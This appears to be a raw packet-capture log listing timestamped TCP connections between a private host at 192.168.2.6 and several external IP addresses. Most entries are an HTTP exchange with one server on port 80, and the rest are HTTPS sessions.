Nov 26, 2024 16:31:46.762994051 CET	443	49879	23.44.133.54	192.168.2.6
Nov 26, 2024 16:31:46.763068914 CET	49879	443	192.168.2.6	23.44.133.54
Nov 26, 2024 16:31:46.764380932 CET	49879	443	192.168.2.6	23.44.133.54
Nov 26, 2024 16:31:46.764442921 CET	443	49879	23.44.133.54	192.168.2.6
Nov 26, 2024 16:31:46.808864117 CET	49878	443	192.168.2.6	104.126.116.98
Nov 26, 2024 16:31:46.808873892 CET	49879	443	192.168.2.6	23.44.133.54
Nov 26, 2024 16:31:46.808892012 CET	443	49878	104.126.116.98	192.168.2.6
Nov 26, 2024 16:31:46.808898926 CET	443	49879	23.44.133.54	192.168.2.6
Nov 26, 2024 16:31:46.831722021 CET	443	49864	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:46.831737041 CET	443	49864	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:46.831780910 CET	443	49864	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:46.831818104 CET	49864	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:46.831834078 CET	443	49864	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:46.831868887 CET	49864	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:46.831868887 CET	49864	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:46.832384109 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.832398891 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.832412958 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.832427979 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.832458019 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.832459927 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.832467079 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.832474947 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.832483053 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.832492113 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.832492113 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.832508087 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.832526922 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.832534075 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.832540989 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.832544088 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.832561016 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.832566023 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.832578897 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.832582951 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.832596064 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.832602978 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.832612991 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.832627058 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.832631111 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.832650900 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.832667112 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.832675934 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.832691908 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.832717896 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.832726955 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.832729101 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.832747936 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.832762957 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.832778931 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.832779884 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.832787991 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.832796097 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.832813978 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.832813978 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.832820892 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.832838058 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.832860947 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.833601952 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.833617926 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.833631992 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.833641052 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.833648920 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.833656073 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.833667994 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.833668947 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.833686113 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.833693027 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.833702087 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.833703041 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.833725929 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.833739996 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.833746910 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.833746910 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.833755970 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.833764076 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.833772898 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.833789110 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.833796024 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.833811998 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.833837032 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.833848000 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.833863974 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.833885908 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.833903074 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.833904982 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.833923101 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.833944082 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.833969116 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.835788965 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.835809946 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.835825920 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.835839033 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.835859060 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.835881948 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.837479115 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.837495089 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.837532043 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.837553978 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.839344025 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.839356899 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.839392900 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.839409113 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.841135025 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.841150045 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.841180086 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.841204882 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.842753887 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.842767954 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.842814922 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.842828989 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.844497919 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.844511986 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.844522953 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.844583988 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.845977068 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.845989943 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.846024036 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.846052885 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.847487926 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.847501993 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.847567081 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.847594023 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.849297047 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.849308968 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.849353075 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.849383116 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.850665092 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.850678921 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.850723028 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.852298975 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.852313042 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.852324009 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.852353096 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.852392912 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.854142904 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.854191065 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.854204893 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.854247093 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.855901957 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:46.855957985 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.862407923 CET	443	49863	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:46.862423897 CET	443	49863	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:46.862462044 CET	443	49863	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:46.862497091 CET	443	49863	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:46.862497091 CET	49863	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:46.862513065 CET	443	49863	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:46.862524986 CET	49863	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:46.862554073 CET	49863	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:46.864181995 CET	443	49877	18.238.49.124	192.168.2.6
Nov 26, 2024 16:31:46.864485979 CET	49877	443	192.168.2.6	18.238.49.124
Nov 26, 2024 16:31:46.864511967 CET	443	49877	18.238.49.124	192.168.2.6
Nov 26, 2024 16:31:46.865639925 CET	443	49877	18.238.49.124	192.168.2.6
Nov 26, 2024 16:31:46.865720034 CET	49877	443	192.168.2.6	18.238.49.124
Nov 26, 2024 16:31:46.867131948 CET	49877	443	192.168.2.6	18.238.49.124
Nov 26, 2024 16:31:46.867207050 CET	443	49877	18.238.49.124	192.168.2.6
Nov 26, 2024 16:31:46.881901026 CET	49886	443	192.168.2.6	150.171.28.10
Nov 26, 2024 16:31:46.881931067 CET	443	49886	150.171.28.10	192.168.2.6
Nov 26, 2024 16:31:46.882019997 CET	49886	443	192.168.2.6	150.171.28.10
Nov 26, 2024 16:31:46.883022070 CET	49886	443	192.168.2.6	150.171.28.10
Nov 26, 2024 16:31:46.883030891 CET	443	49886	150.171.28.10	192.168.2.6
Nov 26, 2024 16:31:46.906878948 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:46.953664064 CET	49877	443	192.168.2.6	18.238.49.124
Nov 26, 2024 16:31:46.953684092 CET	443	49877	18.238.49.124	192.168.2.6
Nov 26, 2024 16:31:46.980515003 CET	443	49864	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:46.980540991 CET	443	49864	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:46.980628967 CET	49864	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:46.980643988 CET	443	49864	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:46.980686903 CET	49864	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:46.980686903 CET	49864	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:47.012270927 CET	49878	443	192.168.2.6	104.126.116.98
Nov 26, 2024 16:31:47.012394905 CET	49879	443	192.168.2.6	23.44.133.54
Nov 26, 2024 16:31:47.057627916 CET	443	49864	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:47.057682037 CET	443	49864	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:47.057751894 CET	49864	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:47.057751894 CET	49864	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:47.057768106 CET	443	49864	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:47.057810068 CET	49864	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:47.058569908 CET	49877	443	192.168.2.6	18.238.49.124
Nov 26, 2024 16:31:47.061321974 CET	443	49863	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:47.061351061 CET	443	49863	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:47.061408997 CET	49863	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:47.061423063 CET	443	49863	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:47.061444044 CET	49863	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:47.061517954 CET	49863	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:47.273363113 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.273555040 CET	443	49864	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:47.273566008 CET	443	49864	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:47.273605108 CET	443	49864	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:47.273642063 CET	49864	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:47.273658037 CET	443	49864	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:47.273669004 CET	443	49863	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:47.273684025 CET	49864	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:47.273756981 CET	443	49863	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:47.273766994 CET	49864	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:47.273802042 CET	49863	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:47.274672031 CET	443	49874	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:47.274734974 CET	443	49874	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:47.274786949 CET	49874	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:47.274872065 CET	49863	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:47.274885893 CET	443	49863	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:47.274914026 CET	443	49864	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:47.274935961 CET	443	49864	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:47.274986982 CET	49864	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:47.274991989 CET	443	49864	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:47.275021076 CET	49864	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:47.275022030 CET	49864	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:47.283566952 CET	49874	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:47.283597946 CET	443	49874	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:47.283613920 CET	49874	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:47.283621073 CET	443	49874	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:47.290790081 CET	49888	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:47.290832996 CET	443	49888	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:47.290906906 CET	49888	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:47.291069984 CET	49888	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:47.291088104 CET	443	49888	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:47.391865969 CET	443	49864	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:47.391905069 CET	443	49864	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:47.391952991 CET	49864	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:47.391968012 CET	443	49864	13.107.246.63	192.168.2.6
Nov 26, 2024 16:31:47.392009974 CET	49864	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:47.392009974 CET	49864	443	192.168.2.6	13.107.246.63
Nov 26, 2024 16:31:47.454344034 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.454411983 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.455982924 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.455996990 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.456007004 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.456065893 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.457509041 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.457523108 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.457532883 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.457576990 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.457624912 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.459168911 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.459189892 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.459217072 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.459243059 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.460848093 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.460863113 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.460906982 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.460930109 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.462498903 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.462512970 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.462552071 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.462583065 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.464178085 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.464190006 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.464231968 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.464257002 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.465632915 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.465651035 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.465662956 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.465677977 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.465711117 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.467276096 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.467295885 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.467339993 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.467360973 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.469012022 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.469026089 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.469065905 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.469094992 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.470510960 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.470524073 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.470570087 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.472266912 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.472280025 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.472290993 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.472356081 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.472398996 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.473974943 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.473992109 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.474046946 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.474065065 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.475399017 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.475411892 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.475471973 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.477205992 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.477217913 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.477252007 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.477287054 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.479212999 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.479227066 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.479270935 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.481287003 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.481309891 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.481316090 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.481342077 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.481367111 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.482666016 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.482685089 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.482711077 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.482738972 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.483989954 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.484005928 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.484049082 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.484067917 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.485305071 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.485323906 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.485357046 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.485378027 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.486742020 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.486763954 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.486777067 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.486788034 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.486814022 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.488358974 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.488373995 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.488409042 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.488445044 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.489988089 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.490010023 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.490036011 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.490053892 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.491621017 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.491641998 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.491662025 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.491688967 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.493582964 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.493602991 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.493633986 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.493654013 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.495119095 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.495131969 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.495142937 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.495162010 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.495193005 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.496534109 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.496547937 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.496598005 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.496620893 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.498097897 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.498110056 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.498145103 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.498163939 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.499978065 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.499989986 CET	80	49809	185.215.113.206	192.168.2.6
Nov 26, 2024 16:31:47.500025988 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.500057936 CET	49809	80	192.168.2.6	185.215.113.206
Nov 26, 2024 16:31:47.501375914 CET	80	49809	185.215.113.206	192.168.2.6
